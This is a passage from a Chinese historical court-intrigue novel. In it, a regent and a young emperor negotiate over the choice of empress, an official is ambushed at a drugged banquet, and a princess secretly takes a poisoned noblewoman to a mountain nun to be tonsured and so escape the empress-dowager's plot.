宋夫人垂下头,神色淡淡的:“那姜皇后是来吓王皇后的,公主何辜?早就被接到太后寝宫亲自护着了。”
萧盈没说什么,半晌,伸手握住了宋夫人的手,微微用力,在她手背上捏了捏,宽慰什么似的。
“姊姊,”萧盈的声音很轻,只有两个人能听见,“不关她的事,不要迁怒她。”
宋夫人抬头看了他一眼,眼神中一时有了然,又有一些无奈的嗔怪,甚至还有一些自知不妥的羞恼,最后全都化为一声轻叹。萧盈笑了笑,又在她的手背上捏了一下,带着近乎相依为命的亲昵。于是宋夫人也无话可说,轻轻拍了拍他的背,催促他进殿:“去吧,太尉已等了许久了。”
谢郯在殿中盘膝而坐,正闭目养神。见萧盈进来,本想起身行礼,但被萧盈制止。萧盈也坐下来,宋夫人亲自奉了茶来,又遣散伺候的人,只留下君臣二人相对而坐。
谢郯照例问了两句校场操练得如何,萧盈也问了问太尉身体有否好转。闲话没叙两句,谢郯果然就说到了王执瑈身上。说得倒还是挺委婉的,但意思很明确,太医说王执瑈惊惧过度,又兼缺眠少食,已有失魂之相,就算能治好,以后恐怕也心智不全。谢郯今日过来,就是跟陛下议一议。御史中丞已被太后派去了荆州,还不知道好好的女儿已成了这副情形。
“婚姻大事自然是由长辈做主。”萧盈斟酌着,装作不经意地试探了一句,“此事该去找太后商议。”
谢郯:“陛下都知道给臣下指婚,怎么自己的婚事倒往外推?”
萧盈什么都没探出来,只好笑笑,给谢郯添茶。
谢郯又道:“现在要紧的是安抚御史中丞。天下父母心,谁都不舍得看见自家女儿成了这样,若此时还要退婚,显得天家薄情,老臣也没脸去见王家……
萧盈微微垂眼,舌尖抵在牙齿后面犹豫了片刻,下了狠心一般,忽然打断了他:“眼下若想保住王氏女的性命,恐怕只有尽快另立皇后了。”
谢郯好一会儿没接话,指腹轻轻地在萧盈给他倒的茶杯沿口转了转,脸上看不出是什么情绪。
自从谢郯去年病了那一场,他心里就急迫起来,想替天子筹备着亲政。萧盈也没有辜负他的期望,一步一步非常审慎,每露一手都要看着太尉的脸色。谢郯既欣慰于他长大了,也得意于他心中仍有对太父的敬畏。所以撮合袁、桓两家的事情上,萧盈哭一哭,谢郯也就让了。
但在关于太后的事情上,这是萧盈第一次跟他把话挑得这么明白。
君臣二人无言相望片刻,好一会儿,谢郯才举杯饮茶,答非所问了一句:“上阳宫夜夜闹鬼也不是办法,老臣来挑个日子,请瓦官寺的高僧来做场法事吧。”
萧盈也不动声色:“朕记得,太后为着慈安比丘尼的缘故,对瓦官寺成见颇深。”
谢郯只道:“又不是请她母亲来做法事。”
萧盈不语,只垂下眼睛喝茶,心里已明白了谢郯的态度。
他很清楚太后在玩什么把戏,这场法事就是他对太后的敲打,不过也仅此而已了,太尉不会把事情揭到明面上。萧盈能利用他的心软,就不得不面对,有的时候谢郯对太后也有同样的心软这个事实。
又或者,这份柔软背后还有一点别的什么。他既要萧盈亲政,又要女儿还能坐在太后的位置上。既要匡正辅道的清名,又要煊赫权势不倒。
萧盈在茶盏的掩饰下轻轻勾起了嘴角,眼睛一瞬不瞬地盯着面前熟悉的人。好像能把他的每一根发丝、每一条皱纹,还有他那包裹在温情下的贪婪,揉进了慈爱里的权欲,都一丝不差地看进眼底,然后酿成乖顺的笑容,轻声道:“全凭太父做主。”
谢郯好像终于反应过来什么,又道:“当然,王氏女若真是心智再难恢复,也不能委屈了陛下。”
萧盈摇了摇头:“立后是国家大事,朕不会光凭一己喜好……”
他的话没说完,便被谢郯的咳嗽声打断。萧盈赶紧跪直了身体,越过两人之间的案几去拍谢郯的背。谢郯摇了摇头,紧紧地攥住了他的手。
太尉一辈子只执过笔,手上没有一点弓马留下的痕迹。倒是攥着年轻人的手时,触到了拇指上被弓弦磨破的一块皮,已落了痂,生出粉色的嫩肉来。
谢郯咳声渐止,却还是握着萧盈的手,好一阵都没肯放开。
“上阳宫怨魂作乱,也是个示警。”谢郯突然道,“若是帝后不谐,都闹到梁宣帝和姜皇后那般,于国家何幸?陛下还是要挑自己喜欢的女子才好,家世差些也不要紧,封个妃也就是了。”
“太父方才还说呢,梁宣帝与姜皇后之祸不就是宠妃闹出来的?”
“那王氏女若真是痴傻了,想必也不会妒忌。”谢郯终于松开了他的手,难得笑了笑,“建康的贵女们不是都已去校场转过一圈了么?陛下就没有看上的?”
萧盈重新坐好,只道:“没有,她们都是去看嫖姚都尉的。”
谢郯突然像小时候那样唤他:“盈儿……”
“还是太父做主吧。”萧盈又说了一遍,“立后立的是平衡世家,朝局安定。无论太父最后选的还是不是王氏女,朕都会与她相敬如宾,鱼水和谐。”
谢郯似是还想说什么,但张了张嘴,最终还是又闭上了。他把萧盈教得太好了,他会是一个非常合格的君王。可不知道为什么,谢郯心里竟然升起一股说不出来的失落,萧盈嘴里说全凭他做主,听起来却像一个一直要他扶着的孩子,突然甩开了他的手。
“也好,”谢郯没话了,“等王诃回来,便下立后诏书吧。”
咳声又起,谢郯抬袖相掩,另一只手在桌上摸了摸,没抓到方才那杯茶。于是萧盈抬起手,轻轻地将茶杯送进了谢郯手心。谢郯微怔,咳声停了下来,只见萧盈笑了笑,自己也举起了面前的茶。
“那便等御史中丞回来。”
两盏轻轻相触,青瓷发出清越的一响。盏中的酒被荡出来,一下子泼了持酒之人满身。
“哎呀!”邓霄匆匆立起,作势要替王诃擦衣。但是他已醉得厉害,站起来也是摇摇晃晃,反而要王诃来扶着他。两个醉鬼靠在一处,彼此对望了一眼,都哈哈
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大笑起来。房里烧着碳炉,又是热酒又是热汤,把两人都吃出了一身的汗。
此行尚算顺利。王诃带着三百精兵,握了太后的明谕,若长沙王抗拒,则就地诛杀;若长沙王听到要立他的儿子就神志突然清楚了,也杀。原本以为是个怎么都无解的死局,但萧忞完全没有按照谢拂霜的预期走。他似乎以为如今在帝位上的还是兄长萧忨,听见那句“沉疴难愈”,便伤心得哭闹不休。王诃跟疯子说不通,纠缠半晌,只好去找他母亲李姬。李姬自然是不敢违抗太后的命令,安抚住了长沙王,又安排了最年长的两个孙儿跟着进京。
王诃上了一道奏疏如实奏报,安顿好了长沙王一家,准备上路了,邓霄又来请。
王诃与他早年便有些交情,吃顿饭践行是常理。更何况最近御史台屡至荆州,邓霄也从未为难,王诃心中已然是解除了他与长沙王勾结谋逆的嫌疑,于是并未多想,坦然赴宴。
两杯酒下肚,邓霄便与他推心置腹。说来说去,还是气不过袁增的构陷。此人自诩怀才不遇,实则恃才傲物,屡犯军纪——邓霄抓着王诃的手,恨不得要把一颗心都挖出来,交到御史中丞手上。那袁增,多年只是个护军,并非是他邓某人有眼无珠,这都是有凭据的呀!——说得王诃连连点头。邓霄马上又哭出来,同样哭得恳切万分,说袁增害得他左右不是人——“邓某如今只有一死明志了!”
他说到这里就要去拔剑,嚷嚷着非要王诃把他的头颅带回去交差。王诃让他激得起了性,酒意一发,同他勾肩搭背,称兄道弟,只让他放心。袁增势利小人,靠着谢太尉不够,又去攀附桓家……等他回去告上一状,看这小人怎么死!谢太尉又怎么样?就能一手遮天了?——王诃此时已有些大舌头了。“他谢郯有如今之势,全该谢谢我姑母!倒把我姑母逼得出了家,把我王家一脚蹬开……”
他喃喃着,已不知说到哪里去了。只觉得热得厉害,直扒身上的衣服,扒了一半,才指着邓霄,明白了什么似的。
“寒食散。”王诃眯着眼睛笑,手指在邓霄面前晃,“邓兄,原来你也是同道中人……”
邓霄只是笑着,并不言语。王诃一个趔趄,整个人往前扑,被一双手臂捞住。王诃眼前天花乱坠一般,只看到扶着他的那双手白皙如玉,尤胜女子,一时着了迷似的,手便摸了上去。沿着手背一路钻进袖中,那人也不躲,只是轻声道:“子颜,小心。”
王诃把手抬起来,摸了摸面前那人光滑的脸:“邓兄,你的髯须呢?”
“邓霄”没回答他,只是把手抽了回去:“将军如今肯信我了吧?太后连戏都不愿意做全套,根本没有处置袁增的意思。”
王诃困惑地眨了眨眼,发现房中竟然站了两个邓霄。不对,另一个不是邓霄。王诃极力地睁大眼睛,想看清那个人的样子。这人是什么时候进来的?他怎会开口就称自己的表字……
“处置……什么?”王诃又往前踉跄了一步,瞪大了眼睛,“你是……?”
那人还在说话,声音很轻,像蛇一样,往人心里钻:“袁增活一日,将军就险一日;袁增平步青云,将军就万劫不复……”
王诃打了个寒颤,酒意和寒食散带来的燥热都被恐惧驱了个干净。他突然认出了此人是谁,也突然明白了他为什么会在这里。王诃一个字都没有说,没有浪费一丁点儿时间发出徒劳的指控,当机立断,转头就跑。
方千绪转过头,好像才想起来王诃还在,突然很惋惜似的:“子颜,你老实待着多好。”
王诃已经冲到了门口,不顾衣|不|蔽|体,猛地拉开了门闩想往外跑。一道寒光等了许久似的,精准地劈到了他面前,然后又堪堪停住,正悬在他额间。王诃喉咙里发出被噎住了似的声音,浑身僵直地被刀光逼得往后退,一直重新退回了房间里。持刀的人也随之抬脚,走到了明亮的烛光下。
长沙王一身戎装,歪着头,朝王诃露出了一个微笑。
13.第 13 章
只听“铛”的一声,明绰被佛钵的声音震了一下,香抖下来一点香灰,落在她的虎口上,当即烫出了一块红痕。但是明绰什么都没说,郑重地在佛前三拜,每一个头都磕到了实处。
梁芸姑在一旁轻声道:“长公主,天家合十为礼即可,不必跪拜。”
明绰只当没听见,在蒲团上跪直,额头轻轻地点到合十的指尖,随着外面瓦罐寺高僧们的念经声轻轻地跟着祈祷。
这一个多月以来,王执瑈一直卧床不起,神志不清,原本来施过针的太医也是摇头,无计可施的模样。姜皇后怨魂作乱的事情如今是越传越真,上阳宫里几乎每天晚上都有人能看见那可怕的鬼影。
今日的水陆道场便是谢太尉安排的,但太后不在,上阳宫眼下以东乡公主为尊,由她来主持这场法事。
梁芸姑看着念念有词的明绰,又劝了一句:“长公主,怨魂自有高僧超度……”
明绰停了下来,只道:“我不是在超度。”
梁芸姑一愣,明绰抬头看了她一眼,眼神中有一抹平静的了然,让梁芸姑心里陡然一震,一时竟不敢与她对视。
上阳宫恐怕没有人比明绰更清楚,根本就没有什么姜皇后。最开始的那个鬼影就是她扮的,只是为了吓唬吓唬王执瑈。而在王执瑈第二次见鬼的那一天,太后突然提前她接进了自己的寝宫。
明绰偷偷跑回自己屋里去查看过了,那晚吓唬过王执瑈以后,她把缝着白绫的那件衣服塞在了床后的一个木箱里。那件衣服果然不见了,那她猜,自己殿里伺候的几个人应该也都知情。她还去偷过灵芝给王执瑈送去的饭食,喂给了上阳宫墙角边上的一窝小猫。一共三只,吃下去没多久就抽搐、呕吐,然后躁狂不堪,没命地抓咬,不出半天全都死了。那么,灵芝也知情。
到这地步,明绰便知道,梁芸姑肯定也是知情的人了。以母后对她的信任和倚重,说不定还是她出的主意。
那天晚上,她带着手上和腿上好几条血淋淋的抓痕回去。太后看出她的不高兴,问了她许久怎么回事。那么温柔,那么细致的母后,如果不是小猫痛苦的哀嚎还在耳畔,明绰几乎要以为一切都是她幻想出来的。
她被抓伤的腿只有梁芸姑看见了。太后去朝会议事,明绰把被子盖过头顶,以为自己的痛哭是无声的,直到梁芸姑担心地掀开她的被子,她才意识到她哭得有多么心碎。
谢拂霜从小把她带在身边,她不知道见过母后下过多少次要人性命的令,但那永远只是一句话,两页纸,几行字,她从来没见过令箭另一头的那些人。
她是不喜欢王执瑈,也是巴不得王执瑈做不成皇后。可她从来没有、绝对没有,哪怕是一瞬间,想过要王执瑈的命。
“王执瑈一定得死吗?”那一天,明绰这样问了梁芸姑,“还是做不成皇后就可以?”
可是梁芸姑未答。
于是明绰又问:“是王执瑈不可以,还是谁都不可以?”
“长公主,”梁芸姑唤了她一声,“这不关你的事。”
“且不说王家是母后的舅家,”明绰看着她,“他们家还有开国的功勋,御史中丞位列三公,族中子侄遍布朝野,这样人家的女儿……”
“长公主!”
“到底还有什么是母后不敢做的!”
“东乡!”梁芸姑厉声打断,脸色是她从未见过的严厉,“她做的一切都是为了你!”
梁芸姑原本握着她的手,但明绰把自己的手抽了出来,抵着床沿把自己撑住,两脚落了地。
“是为了我,还是为了和皇兄争权?”
梁芸姑坐在床边,竟感到了一丝眩晕。小公主什么时候也这样高了?她陪着小公主寒来暑往地去含清宫上课,看着她跟太尉辩朝政,跟陛下解时局,却从来没有哪一刻像现在这样发现公主已经长得这样大,大到什么都懂,又什么都不懂。
“太后要是听见公主这样说,会伤心的。”
唱经声逐渐弱下来,似是告了一段落,梁芸姑把明绰从蒲团上扶起来。两个身披袈裟的僧人走进来,一人持念珠,一人持佛钵,朝明绰行了个佛礼。明绰也跟进去,只见持佛珠的人僧人念念有词,另一位则从佛钵里取水来洒在王执瑈床前。王家老妪也跪在床边,眼睛闭得紧紧的,一边落泪,一边跟着念经。
王执瑈还躺在床上,双眼微阖,手从袖子里露出来,本来的大美人,此时已如枯槁死木。
“父亲……”明绰突然听见床上的人微弱地唤了一声。她下意识地上前一步,梁芸姑伸手也没拉住她,明绰已走到了王执瑈床前。
王执瑈似是对这脚步声有了反应,虚弱地抬起了手,明绰赶紧抓住,听见她又叫了一遍,“父亲……”
“王大人就快回来了。”明绰低声安慰她。
王执瑈摇了摇头。她似是有了一点力气,强撑着歪过头,看着房外面一点,几乎是哀泣着,又喊:“父亲!”
明绰也顺着王执瑈的视线转过了头,那里什么人都没有。
“姐姐,你看见了什么?”
僧人念经的声音一下子更快,更响了起来。王老妪似乎是明白了什么,捂着嘴,瞪大了眼睛。
王执瑈没了力气,又倒回床上,一行眼泪从她的眼角滚了出来。她的嘴唇动了动,但声音被念经声淹没,听不清楚。明绰不得不俯身挨到她唇边,才听清了她的话。
“父亲回不来了……”
“姐姐不要多想,”明绰紧张地摩挲着王执瑈的手,“御史中丞带了三百人,长沙王又不设府兵……”
然而王执瑈根本不听她的,只望着虚空里喃喃自语:“别走……带我一起回家……”
明绰一下子就忘了自己刚才说的话,几乎是扑到了王执瑈身上,好像摁住她就能留住她行将出窍的一缕魂:“不行!姐姐你不能跟他走!”
更多的眼泪从王执瑈眼中流下来,她似是多了两分力气,说的话响了一些:“你把女儿送进……送进这不见天日……女儿尽过孝了……”
王老妪一声声哭着,也扑了上来。明绰被她推了一把,险些摔到地上,梁芸姑立刻上来扶住了她。房里一时哭声骤起,僧人的念经声不知道什么时候已经停了,那持钵的僧人垂了首,眼里只是无限的叹息:“阿弥陀佛。”
明绰突然站起来就往外走,梁芸姑紧张地跟在她身后,看见她跨出门槛的时候几乎一个趔趄,好险她及时伸出手扶住,才没有摔下去。明绰的手心不知道何时已经汗津津的,梁芸姑一抓就是一把寒意。门外的小沙弥们已经收拾了师父用的法器,垂头等着。偏殿旁有两架马车,都挂着宫里特批的木牌通行令,是这次瓦官寺的僧人们所乘。
“母后在哪里?”她突然转头问梁芸姑。
梁芸姑:“庾夫人邀了太后过府。”
明绰点了点头,那就是太父的意思了。谢拂霜当年曾在瓦官寺与慈安比丘尼争执,口不择言地说了许多不敬佛祖的话。她拦不住谢郯办这劳什子法事,磋磨几个僧人还是不在话下的,想来是谢郯先见之明,干脆支开她。
明绰安静了一会儿,也不知道怎么了,突然手撑着额头,好像晕得厉害,整个人往下倒。这已是她片刻之间第二次站不稳,梁芸姑惊得张嘴就想叫人,但明绰白着脸,喘不上来气似的,只道:“芸姑,你去……去叫母后……”
“长公主哪里难受?传太医——”
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“不!”明绰的眼泪簌簌而下,“我要母后!你快去!”
梁芸姑为难地原地踌躇片刻。东乡公主是太后的心尖子,从小到大,有点儿不舒服都要跟太后撒娇,旁的人谁哄都不行。梁芸姑扶着她靠住门槛,见她尚能自己站着,便微微屈膝,道了声“喏”,跑着走了。
她的身影刚刚消失,明绰就飞快地抹了一把脸,转身又进了王执瑈的房间。两个僧人已改成跪坐在她床头念经,也不洒水,也不驱邪了,瞧着床上的人有气进没气出的样子,倒像是提前在超度她。
明绰果断地拨开两个僧人,动作麻利地把被子掖到王执瑈身下。王老妪惊得说不出话,只看着她的动作,被明绰不耐烦地喝了一声:“还不帮忙!”
王老妪茫然地上手,跟着她的动作把王执瑈整个身体包裹进了被子里。然后明绰想把她抱起来,可是王执瑈瞧着就剩一把枯骨了,掂在手里还是沉,她一个堪堪长成的少女,和一个路都走不稳的老妪,加起来都没法把王执瑈抱稳当。
明绰喘了两口气,转头看向旁边两个一脸震惊的僧人:“劳烦二位大师把王小姐挪到车上。”
“这…?”
明绰舔了舔嘴唇,视线从一个和尚脸上挪到另一个和尚脸上,突然把脸一沉,道:“二位大师是要违抗皇命不成?”
这话一出,两位僧人再未多言,年纪稍轻的那位俯身隔着被子,轻轻一抱就把王执瑈托了起来。明绰跟在他们身后,眼看着他们把王执瑈稳稳当当地放在了车里,再把那个不明所以的王老妪也推上了车,这才对着那两位僧人交代:“把她们一起带回瓦官寺……”
她话还未说完,那老妪已惊叫了一声:“瓦官寺?!”
明绰没理她,续道:“去见慈安比丘尼,请她立刻为王氏女剃度。”
王老妪的声音更尖地扬起来:“不行的不行的!我家小姐不能出家——”
明绰厉声打断她:“这是唯一救她命的办法!”
王老妪被她的声色俱厉吓得一缩。那些小沙弥们都好奇地张望着,本来不敢上前,见没人约束,就不知不觉地靠近了过来。
“长公主请听小僧一言。”那个把王执瑈抱过来的僧人合十为礼,“慈安比丘尼常年在龙盘山上清修,从来不收弟子。小僧若是贸然将王施主送去,恐怕……”他停下来,露出一个为难的神色。
恐怕慈安不会接受,太后也不会放过瓦官寺上下。
他小声问:“长公主可有太后的明令谕旨?”
明绰张了张嘴,焦虑地抓了抓额头,又闭上了嘴。她当然没有谕旨,她甚至没有多少时间。这是她能在片刻之间想到的唯一的主意——王执瑈只要还有一口气在,谢郯就会立她做皇后,而谢拂霜又绝对不会允许王家站到萧盈那边去,这样僵持下去,王执瑈死路一条。只有慈安,王执瑈是她的侄孙女,谢拂霜又是她的亲生女儿,她是唯一有动机、也有能力救王执瑈命的人。
那僧人看着明绰的神色,又道:“要么,长公主手书一封,小僧转交给慈安比丘尼……”
明绰看了这僧人一眼。她从来没有见过慈安,一封来自她的信,能有多大的面子?但是所有人都盯着她,两位高僧,一群小沙弥,无措的老妪。唯一不在看她的是王执瑈,她的身体被淹没在被褥下,薄得像一片随时都要被压碎的枯叶。
她跪在佛前的时候许了愿,求神佛原谅母后。若有报应,都加诸在她的身上就好了,这件事从一开始就是她的错。
僧人又唤了一声:“长公主?”
明绰突然提起裙裾,动作敏捷地跳上了车。
“快走,”她催促道,“我亲自去求外祖母!”
14.第 14 章
瓦官寺虽已在建康城外,但香火鼎盛,还算得上是车马好行。龙盘山在瓦官寺后面,已是少有人至,而慈安清修之地又隔着一个山头,马车最多只能送把她们送到平日里挑夫歇脚的地方,再要上去,就只能靠人力。
小沙弥们到了瓦官寺就没再跟来,今日操持法事的慧净和尚把她们送来,说是去借匹骡马,让明绰、王执瑈和那老妪留在这里等着。可是明绰和王老妪一左一右地撑着王执瑈坐在一块大石上,眼看着天色一点一点暗了下来,慧净也没有回来。
“长公主,”那老妪壮着胆子,又说了一遍,“不然还是送我们家小姐回家吧……”
明绰摇了摇头,实在懒得再跟她解释一遍。
梁芸姑不会自己跑出宫去太尉府,多是去找个小黄门通传,用不了多久就会回来。等她回来,发现所有人都不见了就会明白是怎么回事,恐怕她们的马车还没出建康城的时候,梁芸姑已经闯进御史中丞家里要人了。那里找不到人,太后就会查马车的去向,如果明绰算得不错,此刻瓦官寺已经被执金吾卫围得水泄不通了。
“走吧。”明绰突然站了起来,“那和尚不会来了。”
往好处想,慧净只是没机会送骡马来;往坏处想的话,也许再等一会儿,太后的人就来了。
明绰转过身去,屈下膝,气沉丹田,给自己鼓了把劲:“我背她上去。”
“不不不……”王老妪吓了一跳,“还是老奴来……”
她说着就想自己去背王执瑈,但王执瑈连坐都坐不住,她一松手,人就往后倒。王老妪把人扶住,她身上的被褥就往下掉。手忙脚乱了半天,实在是没了法子,只好含着泪,扶着王执瑈趴到了明绰背上。
“王姐姐,”明绰咬了咬牙,硬是撑住一口气,把人背了起来,“你若是还有神智,就抱紧我。”
趴在她身上的人没回答,好一会儿,那双枯木似的手伸了出来,攀住了明绰的脖子,后脑被王老妪托着向前,无力地靠在了明绰的肩上。明绰撑住身边的大石,靠着王老妪帮忙托了一把,一使力,竟然真的背着王执瑈站了起来。
明绰举步就走,但山路是往上的,她自己走都艰难,背着个人更是摇摇晃晃。她又怕把王执瑈摔了,使力使得牙关要咬碎了,也没走上几步。王执瑈好像又失去了意识,抱着她脖子的手又松了,明绰只感到她身上的重量突然滑了下去。她本是前倾着使力,那重量一消失,她整个人便往前跌了一跤。
王老妪也在她身后惊叫了一声,明绰惊魂未定地转身,却见一个高大的人影不知什么时候跟到了她们身后,稳稳地托住了王执瑈。
“你……”明绰说不出话来。
这人也是佛门打扮,头上蓄了发,像个俗家居士的模样。瞧着应该也有四十来岁了,但实在生得太好,称得上风姿卓绝。那份瘦高白皙,明绰只在萧盈身上见过,只是萧盈那种是透着青白的病气,此人却是一种瓷样的冷硬。并不羸弱,只是不像凡尘中人,无怪王家老妪念了一声佛,还以为是佛子显了灵。
那人看了看明绰,又看了看王家老妪,飞快地判断出了谁是主,谁是仆,一手扶住王执瑈,一手朝明绰持了佛礼,颔首问好。
“佛门檀越,慧玄。”
明绰终于想起来喘了口气。他和慧净同字辈,看来此人辈分不低。她赶紧合十为礼:“慧玄大师好,我是……”
她愣了一下,一时不知应不应该说实话。但是慧玄看起来对她是谁也不是很感兴趣,只是示意她和老妪扶住王执瑈,然后自己转身屈膝。明绰这才反应过来,赶紧和老妪两个把王执瑈扶到了慧玄背上。在身量高大的成年男子那里,王执瑈简直就和一团浮云那么轻。慧玄背着她往山路上走,脚步甚至还比明绰快些。
明绰赶紧跟上:“多谢慧玄大师相助,我们要去找……”
她话还没说完,慧玄已经接了口:“慈安。”
明绰一怔:“大师怎么知道的?”
“走这条路都是去找慈安的。”
明绰被他的言外之意一惊:“山上只有她一个人吗?”
慧玄了然地一笑:“若是和从前在太尉府里一样,前呼后拥,仆役如云,还清修什么呢?”
“那也不能就一个人……”明绰难以想象慈安要如何在山上过活。
“慈安在山上种了菜,”慧玄知道她在想什么似的,“脚夫每隔两日上山,寺中还常有僧尼来与她论经清谈,施主不必担心。”
明绰好一会儿没说话,慧玄便也没有什么谈兴的样子。他始终没有问明绰是谁,背上这位姑娘又是谁,去找慈安是什么事,便叫明绰也不方便开口相问,又怕他知道了便不敢再相帮,只好一边跟着一边猜他的身份。
“慧玄大师也是来找慈安论经的吗?”
慧玄未答。像是点了点头,但也可能只是低头赶路,明绰无法分辨。
她只好再问:“大师是从瓦官寺过来的?”
这回慧玄答了:“檀越是俗家居士,不在寺中修行。”
明绰心里“哎呀”一声,顿觉不妙。瓦官寺是皇家佛寺,太后再生气也不会随便动出家人。但慧玄只是个俗家居士,太后追究起来,他哪里还有活路?
明绰着急地追上他的脚步,问道:“大师也不问问我们是谁吗?”
慧玄笑笑:“若不是性命攸关,小施主怎会带着病人来走这条道。救人一命胜造七级浮屠,还有什么可问的。”
王老妪也不知道明绰心里担心的是什么,只跟着念了句“阿弥陀佛”:“大师心真善。”
“那我更不能拖累你了!”明绰突然往前跑了两步,拦在了慧玄身前,吐豆子般地吐了一串话出来,“大师,我是慈安的外孙女东乡公主。你背上的这个是御史中丞的女儿王执瑈,也是慈安的侄孙女。我上山是要请外祖母给她剃度的,要是我母后知道你帮了忙,肯定要杀了你!”
慧玄没说话,看了她好一会儿,只道:“原来是长公主,慧玄失礼。”
他微微低头,看起来像要给明绰行礼。明绰赶紧摆手:“不……”
“那长公主的意思是……?”慧玄顿了顿,作势要放下王执瑈,可是明绰又上手扶住了病人,不叫他松手。
“但是我一定会想办法劝母后的!”明绰急得眼泪成串往下落,“也会求外祖母一起进言,让母后不要治你的罪!”
那王老妪约莫听出了是怎么回事,也急得一径哀求。但是慧玄没有理睬她,只是看着明绰,神色很是好奇:“檀越本就是要帮忙的,长公主本可以什么都不说,为何非要告知檀越有性命之忧?”
明绰擦了擦眼睛:“不告诉你就是害你。大师是好心,我不能害你。”
“太后之威,谁能不怕。”慧玄勾了勾嘴角,“若是檀越就这么撂开手走了,长公主准备如何救人呢?”
明绰老老实实地摇头:“没有办法,只有求你。”
“若檀越就是不敢呢?”
“不会,大师不是见死不救的人!”明绰当真撩起裙摆跪了下去,“东乡求你了!”
慧玄被她的动作惊到,轻轻退了一步,眼底波澜顿起,但也只是一瞬,又恢复了平静。他站在那里,背上仍旧稳稳地托着王执瑈,就这么受了东乡公主一拜。好一会儿,突然轻笑了一声:“谢郯竟教得出你这样的丫头。”
明绰没想到他会直呼太父的名字,抬头“啊?”了一声。
“长公主起来吧。”慧玄轻轻垂眸,似笑非笑,“此事还有别的解法。”
他再没多说什么,但也没“撂开手”,稳稳当当地背着王执瑈,沿着山路一路往上走。天色已经暗得几乎看不清路了,明绰只能和那老妪互相搀扶着走,但慧玄看起来轻车熟路,好像经常来慈安这里似的。
大概闷头爬了约莫一个多时辰,蜿蜒的山路渐平,慈安的山居终于出现在视野尽头。
慧玄这才放下了王执瑈:“长公主,檀越就不露面了。”
明绰意识到了他所说“别的解法”是什么意思,又道:“大师有所不知,母后肯定已经知道我在这里,执金吾卫一会儿就到了。大师千万不要乱走,容我去和外祖母谈一谈……”
慧玄突然打断了她:“长公主还是不要和慈安提到我。”
“为何?”
慧玄低头看着她,暗中看不清他的容颜,但慈安的山居里透出一灯如豆,幽幽地映在他的眼睛里,让明绰觉得他的眼神竟有一些说不出的哀伤。
“既然执金吾卫要来,长公主是不是该尽快让慈安为王施主剃度?”
明绰险些跳起来,匆匆忙忙地和那老妪一起把王执瑈架了起来,一面很不放心地回头叮嘱慧玄:“你千万别乱走!别让他们抓住你!我一定会保你的!”
慧玄站在原地,仍是含着笑,看着一老一少的身影架着个不省人事的病人进了山居。他不必进去也知道会发生什么。慈安会先拒绝,会说红尘事与她无关。然后那小丫头会苦苦哀求,以她的聪明,大概用不了三句话就看得出来,只要是能够惹怒谢郯和谢拂霜的事情,慈安都不会真的拒绝。公主也许不明白为什么,但她会利用这一点。这小丫头很有些不同寻常的本事。
是天生的机灵么?慧玄安静地思忖着,还是谢郯教出来的?他听说太后把东乡公主送进了含清宫,跟陛下一起受教于太尉。看来谢拂霜还是没有放弃她的痴心妄想,但他还以为谢郯不敢再教出第二个谢拂霜了。
一道身影快速贴近他,惊动了树丛,发出游蛇般的簌簌声。
慧玄没有转头:“山下什么情形?”
那黑影应了一声:“慧净照我们说的去回了话,东西也交出去了,左中侯没有起疑,已经撤了。”
“左中侯?”慧玄有些意外,“来的不是崔中尉?”
“不是。”
慧玄微微皱起眉头,若有所思。
“将军来问,要不要灭口?”
“灭师兄的口?”慧玄笑了笑,“急什么?他的人头自有太后来取。佛门清净地,将军又何苦给自己造杀孽。”
那影子应了一声,无声地退了下去。
慧玄又在树影下看
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了一会儿,那老妪走了出来,手中端着一个铜盆要汲井水,看来是慈安打算给王家那小姑娘剃度了。
“子颜,”慧玄垂下头,叹息似的,“我救了你女儿一命,你在泉下,也可闭眼了吧?”
故人无声,唯有清风相拂。
慧玄就地寻了块突出的大石,结跏趺坐,手结降魔印,护于丹田,调整了几个呼吸,便入了定一般,几乎融进了夜色中。明绰出来张望了半天都没有看见他,险些要走到了他身上了,才听到那块“大石头”突然开了口:“长公主小心。”
明绰倒吸一口冷气,往后跳了一步,手捂着心口,这才看清了大石头上的人形。
“慧玄大师!”她的语气似是当真欣喜,“你还在!太好了!”
“长公主嘱咐不要乱走,”慧玄含着笑,“檀越自当听命。”
明绰点点头,用脚探了探石头边的地,然后就不怎么讲究地坐了下来,双手抱着膝。她出来得急,没有披氅,方才又是背人,又是爬山,折腾得一身汗,尚不觉得寒凉。眼下月明星稀,山风清朗,她便冷得瑟缩起来。慧玄低头看了她一眼,伸手解开了身上的外袍,但没敢直接披到她身上,只搭在臂弯里,送到了她眼前。
明绰一惊,抬起头看了他一眼,随后也只是笑了笑,不客气地接过来披好:“多谢大师。”
慧玄没想到她真会接,不由哑然失笑:“长公主好洒脱。”
明绰知道他在说什么,如今太后当朝,女子多出门交游,束缚比之前朝虽是宽松了很多,但陌生男子的衣物随便上身,也绝非是公主之身当有的行为。
“女子饿了也该吃饭,冷了也该穿衣,规矩也不能压死人。”明绰摇摇头,“再说大师是出家人,能有什么心思。”
慧玄轻轻叹气:“长公主未免太轻信于人了。”
明绰又看了他一眼,像是在掂量他这句话。但没一会儿就很放心地转回了头,只道:“执金吾卫随时会到,大师就当我是有恃无恐吧。”
嘴上平平淡淡,威胁之意却甚浓。但慧玄也没有被她恐吓到的意思,反而在暗处轻轻勾起嘴角。明绰没有公主的架子,靠坐在大石下面,脑袋差不多和他的膝盖一样高,让他几乎生出一种伸手摸一摸她的头的冲动。
“原来长公主是出来等执金吾卫。”慧玄顿了顿,突然轻声道,“慈安向来性格冷淡,长公主别往心里去。”
明绰什么都没说。外祖母性格如此,她是知道的,不然也做不到如此隔绝人世,独自苦修。可是慈安虽然答应留下王执瑈和那老妪,却要亲生的外孙女在这样黑的夜里自己下山,这样的不近人情,恐怕不是修佛的心肠。于是明绰便知道了,这不是什么红尘尽断的冷淡,她是恨。
“大师,”明绰突然问他,“她为什么这么恨我太父?”
慧玄愣了一下,好一会儿才道:“长公主为什么会问檀越?”
“我猜的。”明绰手里拨弄着一根衣带,“山路难行,大师却轻车熟路,想来跟慈安很熟悉。你在这里等我,多半也是预料到她的无情,一定会赶我出来吧?”
慧玄不语,许久才轻声道:“至亲至疏夫妻,外人哪会知道这么多。”
“你肯定知道。”明绰还是低着头,“你敢直呼我太父的名讳。”
她仔细想了一想,也许这个慧玄根本不需要她去母后面前作保,也许他根本就不怕太后的追责。
也许他救人的时候,就已经知道他救的是谁。
慧玄看着她,唇角的笑意渐深:“果然是天生的聪慧无极,谢郯可教不出这般的洞彻灵巧。”
